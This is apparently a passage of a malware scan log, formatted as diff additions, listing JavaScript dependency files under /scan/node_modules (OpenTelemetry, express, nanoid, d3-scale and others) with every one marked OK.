+/scan/node_modules/@opentelemetry/api/build/esnext/common/Time.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Exception.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Time.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Exception.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Time.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/common/Attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/NoopTextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/NoopTextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/TextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/NoopTextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/TextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/propagation/TextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/metrics.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/trace.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/propagation.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/metrics.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/trace.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/diag.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/trace.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/propagation.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/metrics.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/propagation.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/diag.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/api/diag.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/version.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/context-helpers.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/symbol.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/baggage-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/symbol.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/symbol.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/baggage-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/internal/baggage-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/context-helpers.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/context-helpers.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/baggage/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/context-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/esnext/diag-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeter.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/MeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Metric.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Meter.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Meter.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/MeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Metric.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Meter.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeterProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/Metric.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/MeterProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics/NoopMeterProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/trace/SugaredTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/experimental/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/version.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/ComponentLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/logLevelLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/logLevelLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/noopLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/logLevelLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/noopLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/internal/noopLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/ComponentLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/ComponentLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/consoleLogger.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/consoleLogger.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag/consoleLogger.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/NoopContextManager.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/NoopContextManager.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/NoopContextManager.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/context/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/spancontext-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_options.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SamplingResult.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SpanOptions.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_flags.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SamplingResult.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/Sampler.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/spancontext-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_state.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_provider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/context-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/link.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/context-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_kind.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-validators.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-validators.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/internal/tracestate-validators.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SpanOptions.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NonRecordingSpan.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_provider.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_kind.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracerProvider.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SpanOptions.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_flags.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_state.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/spancontext-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/Sampler.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracerProvider.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/Sampler.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/context-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/invalid-span-constants.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NonRecordingSpan.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/invalid-span-constants.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/status.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/link.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/SamplingResult.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_state.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_options.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_options.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_context.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/trace_flags.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer_provider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/invalid-span-constants.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/status.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NonRecordingSpan.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/NoopTracerProvider.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/link.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/status.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/tracer.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/ProxyTracer.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace/span_kind.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/semver.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/global-utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/global-utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/semver.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/semver.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/internal/global-utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/index.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/context-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/version.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/trace-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/context-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/metrics-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Attributes.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Exception.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Time.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Exception.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Attributes.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Time.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Exception.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Time.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/common/Attributes.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation-api.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/NoopTextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/NoopTextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/TextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/NoopTextMapPropagator.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/TextMapPropagator.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/propagation/TextMapPropagator.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag-api.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/index.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/metrics.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/trace.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/propagation.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/metrics.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/trace.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/diag.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/trace.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/propagation.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/metrics.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/context.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/context.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/propagation.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/context.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/diag.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/api/diag.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/version.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/index.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/types.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/types.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/types.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/context-helpers.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/symbol.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/baggage-impl.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/symbol.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/symbol.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/baggage-impl.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/internal/baggage-impl.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/context-helpers.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/context-helpers.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/utils.d.ts: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/utils.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/baggage/utils.js.map: OK
+/scan/node_modules/@opentelemetry/api/build/src/context-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag-api.js: OK
+/scan/node_modules/@opentelemetry/api/build/src/diag-api.d.ts: OK
+/scan/node_modules/strnum/LICENSE: OK
+/scan/node_modules/strnum/CHANGELOG.md: OK
+/scan/node_modules/strnum/strnum.js: OK
+/scan/node_modules/strnum/README.md: OK
+/scan/node_modules/strnum/package.json: OK
+/scan/node_modules/limiter/test/ratelimiter-test.js: OK
+/scan/node_modules/limiter/test/tokenbucket-test.js: OK
+/scan/node_modules/limiter/index.js: OK
+/scan/node_modules/limiter/bower.json: OK
+/scan/node_modules/limiter/README.md: OK
+/scan/node_modules/limiter/package.json: OK
+/scan/node_modules/limiter/lib/clock.js: OK
+/scan/node_modules/limiter/lib/tokenBucket.js: OK
+/scan/node_modules/limiter/lib/rateLimiter.js: OK
+/scan/node_modules/limiter/LICENSE.txt: OK
+/scan/node_modules/limiter/index.d.ts: OK
+/scan/node_modules/limiter/.travis.yml: OK
+/scan/node_modules/nanoid/LICENSE: OK
+/scan/node_modules/nanoid/bin/nanoid.cjs: OK
+/scan/node_modules/nanoid/index.d.cts: OK
+/scan/node_modules/nanoid/index.browser.js: OK
+/scan/node_modules/nanoid/async/index.browser.js: OK
+/scan/node_modules/nanoid/async/index.js: OK
+/scan/node_modules/nanoid/async/package.json: OK
+/scan/node_modules/nanoid/async/index.browser.cjs: OK
+/scan/node_modules/nanoid/async/index.cjs: OK
+/scan/node_modules/nanoid/async/index.native.js: OK
+/scan/node_modules/nanoid/async/index.d.ts: OK
+/scan/node_modules/nanoid/index.js: OK
+/scan/node_modules/nanoid/README.md: OK
+/scan/node_modules/nanoid/non-secure/index.js: OK
+/scan/node_modules/nanoid/non-secure/package.json: OK
+/scan/node_modules/nanoid/non-secure/index.cjs: OK
+/scan/node_modules/nanoid/non-secure/index.d.ts: OK
+/scan/node_modules/nanoid/package.json: OK
+/scan/node_modules/nanoid/index.browser.cjs: OK
+/scan/node_modules/nanoid/index.cjs: OK
+/scan/node_modules/nanoid/url-alphabet/index.js: OK
+/scan/node_modules/nanoid/url-alphabet/package.json: OK
+/scan/node_modules/nanoid/url-alphabet/index.cjs: OK
+/scan/node_modules/nanoid/nanoid.js: OK
+/scan/node_modules/nanoid/index.d.ts: OK
+/scan/node_modules/supertest/LICENSE: OK
+/scan/node_modules/supertest/node_modules/cookie-signature/LICENSE: OK
+/scan/node_modules/supertest/node_modules/cookie-signature/History.md: OK
+/scan/node_modules/supertest/node_modules/cookie-signature/index.js: OK
+/scan/node_modules/supertest/node_modules/cookie-signature/Readme.md: OK
+/scan/node_modules/supertest/node_modules/cookie-signature/package.json: OK
+/scan/node_modules/supertest/index.js: OK
+/scan/node_modules/supertest/README.md: OK
+/scan/node_modules/supertest/package.json: OK
+/scan/node_modules/supertest/lib/test.js: OK
+/scan/node_modules/supertest/lib/cookies/assertion.js: OK
+/scan/node_modules/supertest/lib/cookies/index.js: OK
+/scan/node_modules/supertest/lib/agent.js: OK
+/scan/node_modules/acorn/LICENSE: OK
+/scan/node_modules/acorn/bin/acorn: OK
+/scan/node_modules/acorn/CHANGELOG.md: OK
+/scan/node_modules/acorn/dist/bin.js: OK
+/scan/node_modules/acorn/dist/acorn.mjs: OK
+/scan/node_modules/acorn/dist/acorn.d.ts: OK
+/scan/node_modules/acorn/dist/acorn.js: OK
+/scan/node_modules/acorn/dist/acorn.d.mts: OK
+/scan/node_modules/acorn/README.md: OK
+/scan/node_modules/acorn/package.json: OK
+/scan/node_modules/file-entry-cache/LICENSE: OK
+/scan/node_modules/file-entry-cache/changelog.md: OK
+/scan/node_modules/file-entry-cache/cache.js: OK
+/scan/node_modules/file-entry-cache/README.md: OK
+/scan/node_modules/file-entry-cache/package.json: OK
+/scan/node_modules/ts-interface-checker/LICENSE: OK
+/scan/node_modules/ts-interface-checker/dist/util.js: OK
+/scan/node_modules/ts-interface-checker/dist/types.js: OK
+/scan/node_modules/ts-interface-checker/dist/types.d.ts: OK
+/scan/node_modules/ts-interface-checker/dist/index.js: OK
+/scan/node_modules/ts-interface-checker/dist/util.d.ts: OK
+/scan/node_modules/ts-interface-checker/dist/index.d.ts: OK
+/scan/node_modules/ts-interface-checker/README.md: OK
+/scan/node_modules/ts-interface-checker/package.json: OK
+/scan/node_modules/pkg-types/LICENSE: OK
+/scan/node_modules/pkg-types/dist/index.d.mts: OK
+/scan/node_modules/pkg-types/dist/index.d.cts: OK
+/scan/node_modules/pkg-types/dist/index.cjs: OK
+/scan/node_modules/pkg-types/dist/index.mjs: OK
+/scan/node_modules/pkg-types/dist/index.d.ts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/LICENSE: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/utils.cjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/index.d.mts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/index.d.cts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/utils.mjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/shared/pathe.M-eThtNZ.mjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/shared/pathe.BSlhyZSM.cjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/utils.d.ts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/utils.d.cts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/index.cjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/index.mjs: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/utils.d.mts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/dist/index.d.ts: OK
+/scan/node_modules/pkg-types/node_modules/pathe/README.md: OK
+/scan/node_modules/pkg-types/node_modules/pathe/package.json: OK
+/scan/node_modules/pkg-types/node_modules/pathe/utils.d.ts: OK
+/scan/node_modules/pkg-types/README.md: OK
+/scan/node_modules/pkg-types/package.json: OK
+/scan/node_modules/express/LICENSE: OK
+/scan/node_modules/express/History.md: OK
+/scan/node_modules/express/node_modules/ms/license.md: OK
+/scan/node_modules/express/node_modules/ms/index.js: OK
+/scan/node_modules/express/node_modules/ms/readme.md: OK
+/scan/node_modules/express/node_modules/ms/package.json: OK
+/scan/node_modules/express/node_modules/cookie/LICENSE: OK
+/scan/node_modules/express/node_modules/cookie/index.js: OK
+/scan/node_modules/express/node_modules/cookie/README.md: OK
+/scan/node_modules/express/node_modules/cookie/package.json: OK
+/scan/node_modules/express/node_modules/cookie/SECURITY.md: OK
+/scan/node_modules/express/node_modules/debug/.npmignore: OK
+/scan/node_modules/express/node_modules/debug/LICENSE: OK
+/scan/node_modules/express/node_modules/debug/CHANGELOG.md: OK
+/scan/node_modules/express/node_modules/debug/Makefile: OK
+/scan/node_modules/express/node_modules/debug/.eslintrc: OK
+/scan/node_modules/express/node_modules/debug/README.md: OK
+/scan/node_modules/express/node_modules/debug/component.json: OK
+/scan/node_modules/express/node_modules/debug/node.js: OK
+/scan/node_modules/express/node_modules/debug/package.json: OK
+/scan/node_modules/express/node_modules/debug/karma.conf.js: OK
+/scan/node_modules/express/node_modules/debug/.coveralls.yml: OK
+/scan/node_modules/express/node_modules/debug/.travis.yml: OK
+/scan/node_modules/express/node_modules/debug/src/index.js: OK
+/scan/node_modules/express/node_modules/debug/src/node.js: OK
+/scan/node_modules/express/node_modules/debug/src/browser.js: OK
+/scan/node_modules/express/node_modules/debug/src/inspector-log.js: OK
+/scan/node_modules/express/node_modules/debug/src/debug.js: OK
+/scan/node_modules/express/index.js: OK
+/scan/node_modules/express/Readme.md: OK
+/scan/node_modules/express/package.json: OK
+/scan/node_modules/express/lib/middleware/query.js: OK
+/scan/node_modules/express/lib/middleware/init.js: OK
+/scan/node_modules/express/lib/response.js: OK
+/scan/node_modules/express/lib/request.js: OK
+/scan/node_modules/express/lib/express.js: OK
+/scan/node_modules/express/lib/utils.js: OK
+/scan/node_modules/express/lib/view.js: OK
+/scan/node_modules/express/lib/application.js: OK
+/scan/node_modules/express/lib/router/route.js: OK
+/scan/node_modules/express/lib/router/index.js: OK
+/scan/node_modules/express/lib/router/layer.js: OK
+/scan/node_modules/d3-scale/LICENSE: OK
+/scan/node_modules/d3-scale/dist/d3-scale.min.js: OK
+/scan/node_modules/d3-scale/dist/d3-scale.js: OK
+/scan/node_modules/d3-scale/README.md: OK
+/scan/node_modules/d3-scale/package.json: OK
+/scan/node_modules/d3-scale/src/number.js: OK
+/scan/node_modules/d3-scale/src/radial.js: OK
+/scan/node_modules/d3-scale/src/linear.js: OK
+/scan/node_modules/d3-scale/src/diverging.js: OK
+/scan/node_modules/d3-scale/src/pow.js: OK
+/scan/node_modules/d3-scale/src/band.js: OK
+/scan/node_modules/d3-scale/src/time.js: OK
+/scan/node_modules/d3-scale/src/quantize.js: OK
+/scan/node_modules/d3-scale/src/log.js: OK
+/scan/node_modules/d3-scale/src/index.js: OK
+/scan/node_modules/d3-scale/src/sequentialQuantile.js: OK
+/scan/node_modules/d3-scale/src/quantile.js: OK
+/scan/node_modules/d3-scale/src/ordinal.js: OK
+/scan/node_modules/d3-scale/src/init.js: OK
+/scan/node_modules/d3-scale/src/symlog.js: OK
+/scan/node_modules/d3-scale/src/continuous.js: OK
+/scan/node_modules/d3-scale/src/constant.js: OK
+/scan/node_modules/d3-scale/src/colors.js: OK
+/scan/node_modules/d3-scale/src/tickFormat.js: OK
+/scan/node_modules/d3-scale/src/identity.js: OK
+/scan/node_modules/d3-scale/src/sequential.js: OK
+/scan/node_modules/d3-scale/src/threshold.js: OK
+/scan/node_modules/d3-scale/src/utcTime.js: OK
+/scan/node_modules/d3-scale/src/nice.js: OK
+/scan/node_modules/@nodelib/fs.walk/LICENSE: OK
+/scan/node_modules/@nodelib/fs.walk/out/types/index.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/types/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/settings.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/stream.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/sync.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/index.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/sync.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/stream.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/async.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/index.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/providers/async.d.ts: OK
+/scan/node_modules/@nodelib/fs.walk/out/index.js: OK
+/scan/node_modules/@nodelib/fs.walk/out/readers/common.d.ts: OK
